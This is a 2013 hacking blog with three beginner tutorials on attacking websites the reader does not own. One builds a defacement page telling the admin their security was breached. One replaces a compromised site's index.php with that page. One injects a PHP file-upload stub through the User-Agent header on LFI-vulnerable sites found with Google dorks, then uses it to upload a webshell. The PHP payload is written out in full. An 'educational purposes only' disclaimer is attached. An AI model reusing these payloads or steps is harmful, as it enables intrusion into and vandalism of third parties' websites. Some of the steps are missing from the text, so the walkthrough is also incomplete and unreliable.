Tuesday, July 30, 2013

How To Make A Cool Deface Page

HOW TO MAKE A COOL DEFACE PAGE

Hello everyone today I'm going to show you guys how to make a cool deface page. It is very simple to make a deface page. Before we start I will tell you what exactly is a deface page. A deface page is a HTML page that you upload after you upload after hacking into a website. Its only just to show that you have breached their security. As now you know what is a deface page let's start with our page.
To create a deface page you must know HTML , OR you can use Google to find HTML tags. You can learn HTML and many other languages here Codecademy.

STEP ONE
Open up your notepad. Go to Start>All Programs>Accessories>Notepad.

STEP TWO
So we are going to make a template for almost all it is same.
Put this in your Notepad.

<!DOCTYPE html>
<title>Page title here</title>
<html>
<body>

</body>
</html>

So now , if you don't know basic of HTML then you can visit the Codecademy and learn some basic stuff. The <html></html> tag tells almost everything to recognize it as a website this have to be in the document. Otherwise, it wont be able to show the contents.
And then the <body> </body> tag is the place where you put the content of the page.

Ok we have enough basics. So I'm moving forward. So first we need to put a background color and the a heading for the page.you have to put some codes like I have. Put "<body bgcolor="black">" to change the background colour. To make a heading put
"<h1 style="font-size: 60px; color: white; font-family: Agency FB">MvStats10 W4S H3r3</h1>"
this code.
Now it is like this. You can see how the page look like by saving this on all file types and under *.html format.

<!DOCTYPE html>
<embed src="https://www.youtube.com/v/YHWRLtybykc&autoplay=1" type="application/x-shockwave-flash" wmode="transparent" width="1" height="1"></embed>
<title>Page title here</title>
<html>
<center>
<body bgcolor="black">
<h1 style="font-size: 60px; color: white; font-family: Agency FB">MvStats10 W4S H3r3</h1>
</body>

</html>

If you want to put a song in your deface page you can just go to youtube and play the song. At the end of the URL after "http://www.youtube.com/watch?v=" there will be some codes. Something like this "YHWRLtybykc". Ok copy that code and

 " <embed src="https://www.youtube.com/v/paste the code here&autoplay=1" type="application/x-shockwave-flash" wmode="transparent" width="1" height="1"></embed> "

And then add it after "<!DOCTYPE html>"
Like this.

<!DOCTYPE html>
<embed src="https://www.youtube.com/v/YHWRLtybykc&autoplay=1" type="application/x-shockwave-flash" wmode="transparent" width="1" height="1"></embed>
<title>Page title here</title>
<html>
<body>

</body>
</html>

So now I will show you how to put images on your deface page. <img src="http://s17.postimg.org/z28c3ghnj/images.jpg"/> 
now your template will look like this.

<!DOCTYPE html>

<embed src="https://www.youtube.com/v/YHWRLtybykc&autoplay=1" type="application/x-shockwave-flash" wmode="transparent" width="1" height="1"></embed>
<title>Page title here</title>
<html>
<center>
<body bgcolor="black">
<h1 style="font-size: 60px; color: white; font-family:Agency FB">MvStats10 Was Here</h1>
<br>
<img src="http://s17.postimg.org/z28c3ghnj/images.jpg"/>
</body>
</html> 


Now you have left to write your message. After the image tag , open up <p></p> tag so you can write your message. Write your messages like this on the <p></p> tag.
"<p style="color: white; font-family: Courier; font-size: 20px">hello admin!<br>Mvstats10 has breached your security.
<br>Please do not blame us for this.
<br>Your Low Security Made Us Do This
<br>Bye</p>"


Now we are finished making the deface page. your template should be something like this.


<!DOCTYPE html>

<embed src="https://www.youtube.com/v/YHWRLtybykc&autoplay=1" type="application/x-shockwave-flash" wmode="transparent" width="1" height="1"></embed>
<title>Page title here</title>
<html>
<center>
<body bgcolor="black">
<h1 style="font-size: 60px; color: white; font-family:Agency FB">MvStats10 Was Here</h1>
<br>
<img src="http://s17.postimg.org/z28c3ghnj/images.jpg"/>
<p style="color: white; font-family: Courier; font-size: 20px">hello admin!<br>Mvstats10 has breached your security.
<br>Please do not blame us for this.
<br>Your Low Security Made Us Do This
<br>Bye</p>
</body>
</html>


Now save your page in HTML format or else it won't work like this defacepage.html. Remember to change the text format to All Files on Notepad when saving.
You can also make the text self write also which is on javascript and bit more complicated. My deface page's texts are self written. Its bit cool you can edit my deface page.
You can find my Deface Page Here.

Now we have finished making our deface page. Hope this article helped you guys a lot.
Feel free to comment your ideas or any doubts regarding this.
Enjoy Making your Deface page.



Sunday, July 28, 2013

How To Deface A Website - Noob Friendly

HOW TO DEFACE A WEBSITE ( NOOB FRIENDLY )


Today I am going to show you guys how to deface a website. I will deface a site which i have already shelled. OK guys first you will need a shelled website. You can do that by SQL injection, RFI, LF etc. Now as i have my shelled site I am not going to show you how to SQL inject and upload shell on this post. You can download a shell by searching on google, but be careful almost all the shells on google are backdoor-ed. So here we go.
Here is my shelled website.

You have to go to the htdocs/publichtml direcory. It is the home of of the website. There you can find "index.php". You have to upload your deface page or you can just edit the "index.php"and replace it with (*.html) extension. Now if you don't have a deface page, create a one. If you don't know how to make a
deface page, google for it. You will find some nice deface pages you just have to edit it with notepad.
















After uploading your deface page delete the "index.php" now go to the website. You will find it defaced. Like this one.


Now you are done defacing. Hope this article helped you guys a lot. This was a noob friendly article that I wrote.
If you have any doubts regarding this tutorial feel free to comment.

NOTE:This post is for educational purposes only. Other things done are only done at your own risk.
I am not responsible for any activities you do.

Saturday, July 27, 2013

TuT - Uploading Shell Via LFI

 Uploading Shell Via LFI

Requirements:-
♦ A Brain
♦Google Chrome (www.google.com/chrome/)
♦User Agent Addon (https://chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg)
♦A Shell
♦Basic Skills

Step One:-
Download chrome and user agent for chrome (link above).
Then add this String to your user agent string:-

<?php @copy($_FILES['file']['tmp_name'],$_FILES['file']['name']); ?><p>mvstats10</p><br> <form action="" method="post" enctype="multipart/form-data">Filename: <input type="file" name="file" /><input type="submit" value="Submit" />



 Select the one which you created.
Now you're done configuring your User Agent

Step Two:-
Find a LFI vulnerable site. Use Google dorks to find vulnerable sites.
Use this code to execute:


When you execute with this code it will show the upload options on the site.
Like this

Now upload your shell by choosing your shell. But be careful most of the shells on Google are backdoor-ed.
 Hope this helped you.
Thanks.

Feel Free To Post Any Comments.

NOTE: This post is for educational purposes only. Other things done are only done at your own risk.
I am not responsible for any activities you do.